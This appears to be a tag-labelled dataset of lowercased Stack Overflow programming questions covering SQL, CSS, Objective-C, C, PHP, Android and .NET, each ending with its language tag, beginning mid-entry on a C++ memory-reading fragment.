offsetcount = 5;     for (int i = 0; i &lt; offsetcount; i++)      {         readprocessmemory(phandle  (lpcvoid)address  &amp;address   4  null);         address+=offsets[i];     }     return address; } </code></pre>,c++
converting binary code to dna code  i am trying to write a python program for converting binary code to dna code using the following data:    <code>a = 00  b = 10   c = 01  d = 11</code>.    we input a <strong>8 digit binary code</strong> and the program converts it to a <strong>4 letter dna code</strong> using this data. what could the code for this program be,python
mysql join two tables with multiple entry on same date on the second table  i have this 2 tables:   <pre><code>table1: ---------  userid:     date:       day_status: ----------------------------------- 3004     2010-01-01     normal 3004     2010-01-12     normal 3004     2010-01-15     ignore 3004     2010-01-18     abnormal 4001     2010-01-09     normal 4001     2010-01-11     ignore 4001     2010-02-10     normal 4001     2010-02-12     abnormal ------------------------------------  table:2 ------- userid:     date:       time          height -------------------------------------------- 3004     2010-01-01     08:01:02       35 3004     2010-01-01     09:01:12       32 3004     2010-01-01     18:01:02       40  3004     2010-01-02     07:01:02       20 3004     2010-01-02     08:01:02       30 3004     2010-01-02     10:01:02       10  3004     2010-01-08     07:01:02       20 3004     2010-01-08     08:01:02       30 3004     2010-01-08     10:01:02       10  3004     2010-01-12     07:01:02       30 3004     2010-01-12     09:01:02       50 3004     2010-01-12     18:01:02       30  3004     2010-01-15     07:01:02       30 3004     2010-01-15     09:01:02       50 3004     2010-01-15     18:01:02       30  3004     2010-01-18     07:01:02       30 3004     2010-01-18     09:01:02       50 3004     2010-01-18     18:01:02       30  4001     2010-01-08     07:01:02       30 4001     2010-01-08     08:01:02       30 4001     2010-01-08     09:01:02       40 4001     2010-01-08     13:01:02       30  4001     2010-01-09     07:01:02       30 4001     2010-01-09     08:01:02       30 4001     2010-01-09     09:01:02       40  4001     2010-01-11     08:01:02       30 4001     2010-01-11     09:01:02       30 4001     2010-01-11     18:01:02       30  4001     2010-01-12     08:01:02       30 4001     2010-01-12     09:01:02       30 4001     2010-01-12     18:01:02       30  4001     2010-01-13     08:01:02       30 4001     2010-01-13     09:01:02       30 4001     2010-01-13     18:01:02       30  4001     2010-02-12     08:01:02       30 4001     2010-02-12     09:01:02       30 4001     2010-02-12     09:01:02       30 ----------------------------------------------- </code></pre>   please remember that  in table1: a user can have multiple  date s(users 3004 has multiple date). and  in table2     a user can have multiple  date  and each date can have multiple  time . in table2  user 3004 has 3 different  time s for the date  2011-01-01  and so on.    i want to join these two tables so that      1) all the data from table2 and only the day_status data from table1 is included in the result.     2) if there is no  day_status  for the date of table2 in table1  the day_status for that date in the result will be shown as  normal  (note: table 2 has more date entry than table1)    3) the entry with day_status= ignore  from table1 will not be in the final result    the output will be like this:   <pre><code>userid:     date:       time          height     day_status_val --------------------------------------------------------------- 3004     2010-01-01     08:01:02       35        normal 3004     2010-01-01     09:01:12       32        normal 3004     2010-01-01     18:01:02       40        normal  3004     2010-01-02     07:01:02       20        normal 3004     2010-01-02     08:01:02       30        normal 3004     2010-01-02     10:01:02       10        normal  3004     2010-01-08     07:01:02       20        normal 3004     2010-01-08     08:01:02       30        normal 3004     2010-01-08     10:01:02       10        normal  3004     2010-01-12     07:01:02       30        normal 3004     2010-01-12     09:01:02       50        normal 3004     2010-01-12     18:01:02       30        normal  3004     2010-01-18     07:01:02       30        abnormal 3004     2010-01-18     09:01:02       50        abnormal 3004     2010-01-18     18:01:02       30        abnormal  4001     2010-01-08     07:01:02       30        normal 4001     2010-01-08     08:01:02       30        normal 4001     2010-01-08     09:01:02       40        normal 4001     2010-01-08     13:01:02       30        normal   4001     2010-01-09     07:01:02       30        normal 4001     2010-01-09     08:01:02       30        normal 4001     2010-01-09     09:01:02       40        normal  4001     2010-01-12     08:01:02       30        normal 4001     2010-01-12     09:01:02       30        normal 4001     2010-01-12     18:01:02       30        normal  4001     2010-01-13     08:01:02       30        normal 4001     2010-01-13     09:01:02       30        normal 4001     2010-01-13     18:01:02       30        normal  4001     2010-02-12     08:01:02       30        abnormal 4001     2010-02-12     09:01:02       30        abnormal 4001     2010-02-12     09:01:02       30        abnormal ----------------------------------------------- </code></pre>   i used the following query for getting my result:   <pre><code>select table2.userid  table2.date  table2.time  table2.height   case    when table1.day_status= abnormal day  then  abnormal day     when table1.day_status= normal day  then  normal day     else  normal day  end as day_status_val  from table2 left join table1 on table2.userid = table1.userid and table1.day_status != ignore  </code></pre>   but  it gives faulty result. can anyone please help me regarding this. please look at the data in table1 and table2 and my desired output.,mysql
change nsstring after initialization to @   (objective c)  experts     i wanted to find out if the following piece of code is correct. i know nsstrings are immutable but most times i want them initialized to empty string so i don t have to check if they are null. the code runs fine but i wanted to make sure it doesn t cause any issues.   <pre><code>nsstring *mystring = @  ; if (i &gt; 0) {   mystring = @ the message ; }  ... use mystring without testing for null </code></pre>,objective-c
jquery hover problems  i ve got this problem with some jquery. i want to display this div when you hover over an element and hide it when you aren t on it.   <pre><code>$(function() {     $( #projects ).hover(function() {         $( #projects .pane ).show(200)  $( #projects .pane ).hide(200);     }) }); </code></pre>   when you hover it disappears the same time.    thanks :),jquery
making a fullscreen slideshow. css width issues  ok so here s the deal. i ve decided that i want to not use a jquery plugin for this as i want to learn and keep things as clean as possible.    i m trying to create a fullscreen horizontal slideshow.    i have a container div that s 100% width &amp; height.    i have a sub-container with a width of say 999%    within that sub-container i have images floating left  but here s the problem: i want each image to be the width of the main container div or 100% and not the sub-container. i m making it so the images resize proportionately depending on browser size so i can t give it a specific px size.     any idea how i can go about this  i ve already tried using jquery on window resize to get and set the image div size to the document size but for some reason it does not work. as soon as i resize the window the image width jumps over 100% of the document width.     edit: as requested here s an example of code. basically  i want to make the .imgblock widths always the main container s width. i cannot use 100% as the width because it s in a subcontainer that will have a variable width.   <pre><code>#maincontainer { float:left; width:100%;  height:100px;  position:relative;  background:#000;         }  #subcontainer { width:auto;  height:100%; background:#f00; float:left;    }  .imgblock { float:left;  height:100%;  border:1px solid #fff;     }  &lt;div id= maincontainer &gt; &lt;div id= subcontainer &gt;     &lt;li class= imgblock &gt;&lt;h1&gt;image&lt;/h1&gt;&lt;/li&gt;     &lt;li class= imgblock &gt;&lt;h1&gt;image&lt;/h1&gt;&lt;/li&gt;     &lt;li class= imgblock &gt;&lt;h1&gt;image&lt;/h1&gt;&lt;/li&gt;     &lt;li class= imgblock &gt;&lt;h1&gt;image&lt;/h1&gt;&lt;/li&gt;     &lt;li class= imgblock &gt;&lt;h1&gt;image&lt;/h1&gt;&lt;/li&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>,css
input tag html with close tag or not  i know if input tag no need close tag input like this   <pre><code>&lt;input type= text  value= save &gt; </code></pre>   but i will continue some web app and i see so many input tag with close tag like this   <pre><code>&lt;input type= text  value= save &gt;&lt;/input&gt; </code></pre>   i want to know  does this have an effect on something   i fear will have an effect on something in the future.,html
cannot access the control id from a repeater s item template  friends   i have a linkbutton inside a repeater s item templete and i want to access the  link buttons text on the next page.i set the postbackurl to the next page.but when i use the page.prevoiuspage.findcontrol( lnkreport ) on the destination page s code behind   i get a null value .these are the markups .can anyone please help    <pre><code>&lt;asp:content id= content2  contentplaceholderid= cpmain  runat= server &gt;  &lt;fieldset id= fstrialact &gt;&lt;/fieldset&gt;  &lt;asp:repeater id= rptrepeater  runat= server &gt;  &lt;asp:linkbutton id= lnkreport          postbackurl= ~/features/reports/adhocreportdetail.aspx               runat= server &gt;&lt;%#eval( adhocburstingreportname )%&gt; &lt;/asp:linkbutton&gt;&lt;/p&gt;  &lt;/asp:repeater&gt;  &lt;/asp:content&gt; </code></pre>,asp.net
how to put application to the background   my application after 30 seconds of doing nothing should came to the background. if there s no activity after 30 seconds  i want to log the user out. it s application which contains user interface. when the user want to back he must write again his username and password. i put below my code:   <pre><code>timer.m: #define kapplicationtimeoutinminutes 0.1 #define kapplicationdidtimeoutnotification @ apptimeout  @interface timer : uiapplication {     nstimer     *myidletimer; }  -(void)resetidletimer;    timer.h:  @implementation timer  //here we are listening for any touch. if the screen receives touch  the timer is reset -(void)sendevent:(uievent *)event {     [super sendevent:event];      if (!myidletimer)     {         [self resetidletimer];     }      nsset *alltouches = [event alltouches];     if ([alltouches count] &gt; 0)     {         uitouchphase phase = ((uitouch *)[alltouches anyobject]).phase;         if (phase == uitouchphasebegan)         {             [self resetidletimer];         }      } } //as labeled...reset the timer -(void)resetidletimer {     if (myidletimer)     {         [myidletimer invalidate];     }     //convert the wait period into minutes rather than seconds     int timeout = kapplicationtimeoutinminutes * 60;     myidletimer = [nstimer scheduledtimerwithtimeinterval:timeout target:self selector:@selector(idletimerexceeded) userinfo:nil repeats:no];  } //if the timer reaches the limit as defined in kapplicationtimeoutinminutes  post this notification -(void)idletimerexceeded {     [[nsnotificationcenter defaultcenter] postnotificationname:kapplicationdidtimeoutnotification object:nil]; }      appdelegate.m: @implementation appdelegate  -(bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions {     [[nsnotificationcenter defaultcenter] addobserver:self selector:@selector(applicationdidtimeout:) name:kapplicationdidtimeoutnotification object:nil];      return yes; }  -(void)applicationdidtimeout:(nsnotification *) notif {     nslog (@ time exceeded!! );      //this is where storyboarding vs xib files comes in. whichever view controller you want to revert back to  on your storyboard  make sure it is given the identifier that matches the following code. in my case   mainview . my storyboard file is called mainstoryboard.storyboard  so make sure your file name matches the storyboardwithname property.     uiviewcontroller *viewcontroller = [[uistoryboard storyboardwithname:@ main  bundle:null] instantiateviewcontrollerwithidentifier:@ login ];      [(uinavigationcontroller *)self.window.rootviewcontroller pushviewcontroller:viewcontroller animated:yes]; }  //metoda  która informuje o przejsciu z aktywnego do nieaktywnego stanu - (void)applicationwillresignactive:(uiapplication *)application {     // sent when the application is about to move from active to inactive state. this can occur for certain types of temporary interruptions (such as an incoming phone call or sms message) or when the user quits the application and it begins the transition to the background state.     // use this method to pause ongoing tasks  disable timers  and throttle down opengl es frame rates. games should use this method to pause the game.  } //- (uibackgroundtaskidentifier)beginbackgroundtaskwithexpirationhandler:(void (^)(void))handler  - (void)applicationdidenterbackground:(uiapplication *)application {     // use this method to release shared resources  save user data  invalidate timers  and store enough application state information to restore your application to its current state in case it is terminated later.     // if your application supports background execution  this method is called instead of applicationwillterminate: when the user quits.  }  - (void)applicationwillenterforeground:(uiapplication *)application {         // called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. }  - (void)applicationdidbecomeactive:(uiapplication *)application {     // restart any tasks that were paused (or not yet started) while the application was inactive. if the application was previously in the background  optionally refresh the user interface.   }  - (void)applicationwillterminate:(uiapplication *)application {     // called when the application is about to terminate. save data if appropriate. see also applicationdidenterbackground:. } </code></pre>,ios
reading a line ignoring special values  how can i extract each string from  <code>a b -&gt; carry sum</code> without  <code>-&gt;</code>   so  i need to get only <code>a</code> <code>b</code> <code>carry</code> <code>sum</code>. how can it be done     <code>a b -&gt; carry sum</code> is passed as a string into the method.   <pre><code>public void parsecontactsline(string line) {     scanner readline = new scanner(line);      while(readline.hasnext())     {      } } </code></pre>,java
appointment system  checking if person is availaible at particular time  i am working on an appointment system  the problem i am facing is in a function where i want to check if the <em>person</em> with whom <em>someone</em> wants to book an appointment is available at that time or not.     each <em>person</em> has fixed daily time slot for example 02:00:00 to 04:30:00 during which <em>anyone</em> can contact him/her  now when booking appointment  i wanna check if <em>person</em> is available at the time when <em>someone</em> is willing to book an appointment or not.    here is the code:   <pre><code>    $strttime = $pa[0][ starttime ];   //02:00:00     $endtime = $pa[0][ endtime ];    //04:30:00              $expectedtime = date( g:i:s   strtotime($dtetime));   // $dtetime = 2010-12-31 02:30       if($strttime &lt; $expectedtime &amp;&amp; $endtime &gt; $expectedtime) // the second condition is returning false     {         echo  paa is available ;     }     else     {         echo   paa is not available at that time slot. ;         exit();                } </code></pre>,php
how to play video files from db  <blockquote>    i have my asp.net website which play video from db   i had the script   below but how to make file attribute get the video file from db .  </blockquote>  <pre><code>&lt;script type= text/javascript &gt;         $(document).ready(function () {             jwplayer( playmp4video ).setup({                 file:  sp.flv                   flashplayer:  player.swf              });         });     &lt;/script&gt;    &lt;div&gt;         &lt;div class= video-container &gt;             &lt;iframe id= playmp4video  width= 215  height= 160  frameborder= 0  allowfullscreen= true &gt;             &lt;/iframe&gt;         &lt;/div&gt;     &lt;/div&gt; </code></pre>,asp.net
can t create correct linked list in c  i want to build linked list that only has add_to_end and show_list functions but my list crashes when i want to display <code>head</code> although <code>item</code> works(look at the code).   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  typedef struct data {     int x;     int y;     struct data * next;    }list;  void addend(list * item  list * head); void show(list * head);  int main(void) {     int choice;     list item;     list * head;     list * temp;     head = null;     while(printf( q - quit - enter 1 add end  2 show:  )  scanf( %d   &amp;choice))     {         switch(choice)         {             case 1:                 addend(&amp;item  head);                 break;             case 2:                 printf( x = %d y= %d\n   item.x  item.y);               /*prints 1 2*/                 printf( x = %d y = %d\n   head-&gt;x  head-&gt;y);            /*crash of program...should print 1 2*/                 show(head);                 break;             default:                 printf( try again\n );                 break;                    }     }     temp = head;     while(temp)     {         free(temp);         temp = head-&gt;next;         head = temp-&gt;next;     }     return 0; }  void addend(list * item  list * head) {     list * node;     node = (list *)malloc(sizeof(list));     printf( enter x and y:  );     scanf( %d %d   &amp;node-&gt;x  &amp;node-&gt;y);     if(head == null)     {         node-&gt;next = null;         head = node;         * item = * head;      }     else     {         item-&gt;next = node;         node-&gt;next = null;     } }  void show(list * head) {     list * node;     node = head;     while(node)     {         printf( x = %d y = %d\n   node-&gt;x  node-&gt;y);         node = node-&gt;next;     } } </code></pre>,c
how to list directory folders in rails  hi i am newbie in rails and wanted to know any way to list folders and files for a url say public . so example user types example.com/public  he gets all folders and files listed as we do in php if we start a wamp server . i need this so i can create files and have their url shared to public i.e. simply send url link online like example.com/public/test.pdf . currently i am getting page with no routes defined .<a href= https://i.stack.imgur.com/epbgs.png  rel= nofollow noreferrer >enter image description here</a> thanks.,ruby-on-rails
how to add a uitextfield to a scrollview programmatically using auto layout  i want to add a textfield to a scroll view programmatically using auto layout but when the text field is added it is displayed in the top left corner with the correct size but it has no width (maybe 2 pixels). how can i get the textfield to be constrained to the width of the screen     the following is in my viewdidload method:   <pre><code>    self.scrollview = [[uiscrollview alloc] init];     [self.scrollview settranslatesautoresizingmaskintoconstraints:no];     [self.view addsubview:self.scrollview];      self.emailfield = [[uitextfield alloc] init];     [self.emailfield settranslatesautoresizingmaskintoconstraints:no];     [self.scrollview addsubview:self.emailfield];      nsdictionary *views = @{ @ view :self.view  @ scrollview :self.scrollview   @ textfield :self.emailfield};      [self.view addconstraints: [nslayoutconstraint constraintswithvisualformat:@ v:|[scrollview]|      options:0     metrics:nil     views:views]];      [self.view addconstraints: [nslayoutconstraint constraintswithvisualformat:@ h:|[scrollview]|      options:0     metrics:nil     views:views]];      [self.scrollview addconstraints: [nslayoutconstraint constraintswithvisualformat:@ h:|[textfield]|      options:0     metrics:nil     views:views]];      [self.scrollview addconstraints: [nslayoutconstraint constraintswithvisualformat:@ v:|[textfield(46)]      options:0     metrics:nil     views:views]]; </code></pre>,objective-c
page url as a variable to use in plugins  i have a cms which creates pages in the form of index.php p=pagename for example:   <pre><code>index.php p=01home index.php p=news index.php p=about </code></pre>   or whatever pagename    now what i want to do is to get the pagename as a variable    for example   <pre><code>$page= 01home ; $page= news ; $page= about ; </code></pre>   i tried to get the pagename via $_get[p] from my cms code  but that doesnt work  any other ideas  the code must be independent from the cms so i can use the pagename in a plugin    plugin code where i want o use the pagename   <pre><code>&lt; php     $amount= $cfr ;   $page = $_get[ p ];   if (!isset($_get[ action ])) {     } elseif ($_get[ action ] ==  write ) // etc. {       header( location: succes.php );     $data =   .php_eol;     $file=fopen( plugins/comments/comments/$page/comments.txt   a );      $message=str_replace( \r     $message);     $message=str_replace( \n   {{  $_get[ message ]);     fwrite($file $_get[ name ]. || .date( d-m-y ). || .$message.$data);     fclose($file);    }   $start=(isset($_get[ start ]) $_get[ start ]:0);   $gastenboek=array();   $gastenboek=file( plugins/comments/comments/$page/comments.txt );   &gt; &lt;br&gt; &lt;fieldset class= comments &gt;   &lt;legend class= pm &gt;reacties&lt;/legend&gt; &lt;div style= float:right; &gt;aantal reacties: &lt;b&gt;&lt; php echo min($start+$amount sizeof($gastenboek));  &gt;&lt;/b&gt;&lt;/div&gt;             &lt;table class= comments  width= 100% &gt;           &lt; php           $gastenboek=array_reverse($gastenboek);           for ($i=$start;$i&lt;$start+$amount &amp;&amp; $i&lt;sizeof($gastenboek);$i++) {             list($name $date $message)=explode( ||  $gastenboek[$i]);             $message=str_replace( {{   \n  $message);             echo  &lt;tr&gt;&lt;td class= comments &gt;&lt;div style= float:left; &gt; &lt;b&gt; .$name. &lt;/b&gt;&lt;/div&gt;&lt;div style= float:right; &gt; (&lt;i&gt; .$date. &lt;/i&gt;)&lt;/div&gt;&lt;br&gt;&lt;p&gt; .str_replace( \n   &lt;br&gt;  htmlspecialchars($message)). &lt;/p&gt;  &lt;/td&gt;&lt;/tr&gt; . \n ;                                      }          &gt;         &lt;/table&gt; &lt;/fieldset&gt; &lt;br&gt; &lt;fieldset class= pm &gt;   &lt;legend class= pm &gt;plaats een reactie&lt;/legend&gt;  &lt;form action= index.php  method= get  onsubmit= return validate(this);  name= comments  id= comments &gt;               &lt;input type= hidden  name= action  value= write &gt;               &lt;p class= pm &gt;naam: &lt;/p&gt;                &lt;input type= text  name= name  size= 30  style= width:300px;  required&gt;&lt;br&gt;               &lt;p class= pm2 &gt;reactie: &lt;/p&gt;               &lt;textarea class= message  name= message  id= message  cols= 46  rows= 5  required&gt;&lt;/textarea&gt;&lt;br&gt;            &lt;input type= submit  value= reactie toevoegen &gt;         &lt;/form&gt; &lt;/fieldset&gt;             &lt;script type= text/javascript &gt;          $(function(){             $( #comments ).ebcaptchaword();         });      &lt;/script&gt; </code></pre>,php
css - apply opacity to element but not to text within the element  i have created a menu block element which i have applied an opacity of 0.4/40 to.    the problem i have is that the opacity affects the text within the menu block and i am looking to have the opacity only applied to the menu block  but not the text.    hopefully i have just missed something silly.  here is my code:   <pre><code>#menuleft{     background-color: #33aaee;     float: left;     width: 20%;     clear: both;     opacity:0.4;     filter: alpha(opacity = 40); } </code></pre>   i am looking for a way to keep the text colour the same/set the opacity to exclude the text.    thank you.,css
border-radius shows slight color from parent div background in corners  i have an issue where you can clearly see the parent in the top right and top left corners of the child.    i have tried with using <code>overflow: hidden;</code> on parent as well as using <code>border-radius</code> on the child.    the issue is a bit hard to explain but you can clearly see the issue on the fiddle.    <a href= https://jsfiddle.net/2lccaf0u/  rel= nofollow noreferrer >https://jsfiddle.net/2lccaf0u/</a>    edit: here is an image showing the issue as well (using chrome)    <a href= https://i.stack.imgur.com/ujqe2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ujqe2.png  alt= the issue ></a>,css
insert block of rows from a column from one table to another table  how do i insert a block of rows from a column from one table and insert that block at a certain place in another table  see screenshot    <a href= https://i.stack.imgur.com/ehhba.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ehhba.jpg  alt= enter image description here ></a>    so  what i need to do is to insert the block of missing data in  aktier  from aktie2. the  datum -column between the tables must match exactly. so - is it possible to do this at once (without a loop)       i want to copy  aktie -column (table aktie2) to aktie2-column (table aktier),mysql
insert uiimageview at index:0  how would you insert it behind the main view     thanks     david,iphone
uitextview with long text using pagecontrol  i have a long string which i would like to present  splitted  in several text views using scroll view and pagecontrol.    example:    <img src= https://i.stack.imgur.com/kptqs.png  alt= enter image description here >    does anyone know of such a control     if i m making the textview with fixed size how can i calculate how much text can fit and splits the string to chunks,ios
how to pass button.click into a function   i have a function that adds eventhandlers to control events.  right now i have several overloads that add events to different types of controls:   <pre><code>public sub addeventhandler(button  buttonevent)  adds event handling for button.click public sub addeventhandler(linkbutton  buttonevent) adds event handling for linkbutton.click </code></pre>   the problem is i want to write a function that is more robust like:   <pre><code>public sub addeventhandler(control  eventtohandle  controlevent) </code></pre>   where    eventtohandle is the parameter representing button.click or whatever event that button has associated with it.    any suggestions guys   thanks!,.net
bad thread access/seg fault quicksort  i m working on a sorting project and my quick sort works just fine with 300kb of data  but when i try to sort 1mb of data  program gives me bad thread access in xcode and seg fault:11 in terminal.    <pre><code> void sortingcompetition::quicksort(int low  int high) { if (high!=low&amp;&amp; high&gt;low) {  long one=hash[low]; long two=hash[high]; long three = hash[high/2];     if((one&lt;=two&amp;&amp;one&gt;=three)||(one&lt;=three&amp;&amp;one&gt;=two))     {         swap(hash[low]  hash[high]);         swap(copyofwords[low]  copyofwords[high]);     }     else if((three&lt;=one&amp;&amp;three&gt;=two)||(three&lt;=two&amp;&amp;three&gt;=one))     {          swap(hash[high/2]  hash[high]);         swap(copyofwords[high/2]  copyofwords[high]);     }     else     {      }     int i=low;     int j=high-1;     while(i!=j&amp;&amp;i&lt;j)     {         while(hash[i]&lt;=hash[high]&amp;&amp;i&lt;j)         {             i++;         }         while(hash[j]&gt;=hash[high]&amp;&amp;i&lt;j)         {             j--;         }         if(i==j||i&gt;j)         {         }         else         {             swap(hash[i] hash[j]);             swap(copyofwords[i] copyofwords[j]);                         }         }     swap(hash[i] hash[high]);     swap(copyofwords[i]  copyofwords[high]);     quicksort(low  j-1);     quicksort(j+1  high); } </code></pre>   both hash and copyofwords are dynamically allocated to the same size. i don t know how to fix this problem. thanks in advance,c++
setcolorfilter is not working correclty in custom list adapter   it s been 3-4 hours and i am still not able to figure out why the color of my imageview changes automatically i have done almost everything. here is code of getview of customlistadapter    <pre><code>@override public view getview(final int position  view convertview  @nonnull viewgroup parent) {     final viewholder viewholder;     if (convertview == null) {         layoutinflater inflater = layoutinflater.from(context);         convertview = inflater.inflate(r.layout.post_list_adapter  null);         viewholder = new viewholder();         viewholder.des = (textview) convertview.findviewbyid(r.id.textview_des);         viewholder.like = (textview) convertview.findviewbyid(r.id.tv_like);         viewholder.name = (textview) convertview.findviewbyid(r.id.textview_name);         viewholder.dislike = (textview) convertview.findviewbyid(r.id.tv_dislike);         viewholder.iv_photo = (imageview) convertview.findviewbyid(r.id.imageview);         viewholder.iv_dislike = (imageview) convertview.findviewbyid(r.id.iv_dislike);         viewholder.iv_like = (imageview) convertview.findviewbyid(r.id.imageview_like);         viewholder.iv_pic = (circleimageview) convertview.findviewbyid(r.id.profile_image);         convertview.settag(viewholder);     } else {         viewholder = (viewholder) convertview.gettag();     }     picasso.with(context).load( url here ).into(viewholder.iv_photo);     picasso.with(context).load( url here ).into(viewholder.iv_pic);     if (data.get(position).isliked)         viewholder.iv_like.setcolorfilter(color.parsecolor( #00ff00 ));     if (data.get(position).isdisliked)         viewholder.iv_dislike.setcolorfilter(color.parsecolor( #00ff00 ));     viewholder.des.settext(data.get(position).getpost_des());     viewholder.name.settext(data.get(position).getname());     viewholder.like.settext(data.get(position).getlikes());     viewholder.dislike.settext(data.get(position).getdislikes());     viewholder.iv_like.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view view) {             view.startanimation(animationutils.loadanimation(context  r.anim.image_anim));             if (data.get(position).isliked) {                 data.get(position).setliked(false);                 viewholder.iv_like.setcolorfilter(color.parsecolor( #000000 ));             } else if (data.get(position).isdisliked) {                 data.get(position).setliked(true);                 data.get(position).setdisliked(false);                 viewholder.iv_like.setcolorfilter(color.parsecolor( #00ff00 ));                 viewholder.iv_dislike.setcolorfilter(color.parsecolor( #000000 ));             } else {                 data.get(position).setliked(true);                  viewholder.iv_like.setcolorfilter(color.parsecolor( #00ff00 ));             }           }     });     viewholder.iv_dislike.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view view) {             view.startanimation(animationutils.loadanimation(context  r.anim.image_anim));             if (data.get(position).isdisliked) {                 data.get(position).setdisliked(false);                 viewholder.iv_dislike.setcolorfilter(color.parsecolor( #000000 ));             } else if (data.get(position).isliked) {                 data.get(position).setliked(false);                 data.get(position).setdisliked(true);                 viewholder.iv_like.setcolorfilter(color.parsecolor( #000000 ));                 viewholder.iv_dislike.setcolorfilter(color.parsecolor( #00ff00 ));             } else {                 data.get(position).setdisliked(true);                  viewholder.iv_dislike.setcolorfilter(color.parsecolor( #00ff00 ));             }         }     });     return convertview; } </code></pre>   except setcolorfilter all of my code is working properly.,android
sql query to find parents with no child  i have a products table and a categories table. the categories have a parent-child hierarchy with only 2 levels (parent and child). products can be associated with many categories via table pc.    how can i find all products that have a parent category but no child from that same parent,sql
if condition sql queires  i am very new to sql.i am trying to write if condition query in sql. by using this if condition we  need to update the records in sql.but unfortunately we got some errors in while doing  process of sql.    this is my query: <strong>as begin if id = 101   update date set name= ind  from data</strong>    could please tell me the query along with example.,sql
nsdictionaries vs. custom objects with properties  what s your take   i m writing an app that basically uses 5 business entities  a  b c  d and e   <ul> <li>a has some properties and holds a list of b s</li> <li>b has some other properties and a list of c s and a list of d s</li> <li>c has some other properties and a list of d s and a list of e s</li> <li>d has only a few properties</li> <li>e has only a few properties</li> </ul>   there is no inheritance between any of them. there s no real business logic involved  the objects are created  populated  and then accessed read-only  no further manipulations.     my natural coding style would be to go object oriented and write classes for each of those entities  use nsarrays for the lists  and have the mentioned properties synthesized.    it would make the code readable.    but another approach seems obvious too: only use nsdictionaries and nsarrays  and working with keys/values instead of properties. this seems more efficient  and somehow  closer  to iphone-style programming to me... but obviously leads to less readable code. another advantage is there s no additional custom encoding/decoding for serialization required (persisting state to disk  using json  ...) so on the paper  it speaks for the latter approach  on the other hand  it still feels somehow awkward not to use custom objects...     is this really just <strong>a matter of taste question</strong>  or are there maybe other arguments in favour/against one of the approaches  is only using dictionaries better memory/performance-wise  is it the preferred  apple coding style   (i m coming from java/c#).,iphone
how do i programmatically delete labels/buttons/textfields   i am making an app where you have to enter your name. then when you press the go button  the text field  button  and text vanish. but i don t really know how to.,objective-c
system.typeloadexception: could not load type  system.data.entity.core.mapping.entitycontainermapping  from assembly  entityframework  my vs 2012 installation stop working after using it for month.    i have an application where i used database first  entity framework. when the database change i just use ado entity framework wizard to update db classec (edmx file).    then two days ago  i get this error. i can t find any solution. i try repair i vs 2012. i search on the net  but coulden t find anything.    then i uninstall vs 2012 and install vs 2013 - same error. i also install/uninstall latest version of eftools a couple of times - but still the same error. i am running windows 7. i don t know what this is.    any good idea out there     here is the complete error message:   <pre><code>unable to generate the model because of the following exception:     system.typeloadexception: could not load type  system.data.entity.core.mapping.entitycontainermapping  from assembly  entityframework  version=6.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089 .    at microsoft.data.entity.design.versioningfacade.reverseengineerdb.dbdatabasemappingbuilder.build(simplemappingcontext mappingcontext)    at microsoft.data.entity.design.visualstudio.modelwizard.engine.modelgenerator.generatemodel(list`1 errors)    at microsoft.data.entity.design.visualstudio.modelwizard.engine.modelbuilderengine.generatemodels(string storemodelnamespace  modelbuildersettings settings  list`1 errors)    at microsoft.data.entity.design.visualstudio.modelwizard.engine.modelbuilderengine.generatemodel(modelbuildersettings settings  modelbuilderenginehostcontext hostcontext) . </code></pre>,.net
how to initialize a variable before it s value is decided   i have a basic for loop where i determine the value  <code> left </code> or <code> right </code>   of a variable called <code>animationdirection</code>.      how can i initialize this variable before the loop so that it can be defined with in it      i ve tried initializing it to <code>undefined</code>  by using <code>var animationdirection = undefined;</code> but this is frowned upon by javascript linter.     i ve settled on the code below that defines animationdirection in the loop logic  but this seems like a bad idea because i m initializing the variable with <code>var</code> twice.     any ideas on how to better define the variable    <pre><code>for (var i = 0; i &lt; $selected.length; i++) {      if (i &lt; ($selected.length / 2)) {         var animationdirection =  left ;     } else {         animationdirection =  right ;     }      $($selected[i])         .css(animationdirection  animationoffset)         .velocity(animation  animationconfig); } </code></pre>,javascript
net framework 4 or 3.5 for new application c# wpf  <a href= http://msdn.microsoft.com/en-us/library/8z6watww.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/8z6watww.aspx</a>    based on the above link what should i chose   i am forced to stick to .net 3.5 because it has  less hardware requirements.. however on my xp 2gb ram machine it takes 30 s to load a .net 3.5 program.. so i think that it would take hours to run a simple .net program at machine with less than 512 mb ram !! so there is no reason to stick to 3.5..  but it takes too much disk space!! wtf 1.5 gb for .net 4     it is too much.. what should i choose for better compatibility,.net
displaying html properly in ie <10  the following is working fine in modern browsers and ie 10+. but in ie &lt;10  it s not. in such cases  $staffselection displays only the first part but not the string concatenated onto it with the option tags. not sure why...   <pre><code>$staffselection =  &lt;div class=   . $branch .  -  . $stafftype .   &gt; ; $staffselection .=  &lt;option value=  &gt;&lt;/option&gt; ; echo $staffselection; </code></pre>,html
automatic calling member functions in class  i am learning c++;recently i came across a code in which the public member functions of the code gets automatically called.i have common idea about constructors but i think it is not related with that topic;    here is the code:   <pre><code>#include &lt;iostream&gt; using namespace std; class humidity; class temperature { private:     int m_temp; public:     temperature(int temp=0)     {         m_temp = temp;     }     void setemperature(int temp)     {         m_temp = temp;     }     friend void printweather(const temperature &amp;temperature                               const humidity &amp;humidity); }; class humidity { private:     int m_humidity; public:     humidity(int humidity=0)     {         m_humidity = humidity;     } void sehumidity(int humidity)     {         m_humidity = humidity;     } friend void printweather(const temperature &amp;temperature                                 const humidity &amp;humidity); }; void printweather(const temperature &amp;temperature  const humidity &amp;humidity) {     std::cout &lt;&lt;  the temperature is   &lt;&lt; temperature.m_temp &lt;&lt;  and the humidity is   &lt;&lt; humidity.m_humidity &lt;&lt;  \n ; } int main() {     humidity hum(10);     temperature temp(12);     printweather(temp  hum);     return 0; } </code></pre>   my question is that : why the void setemperature(int temp) and  sehumidity(int humidity) function gets called  any help will be appreciated .,c++
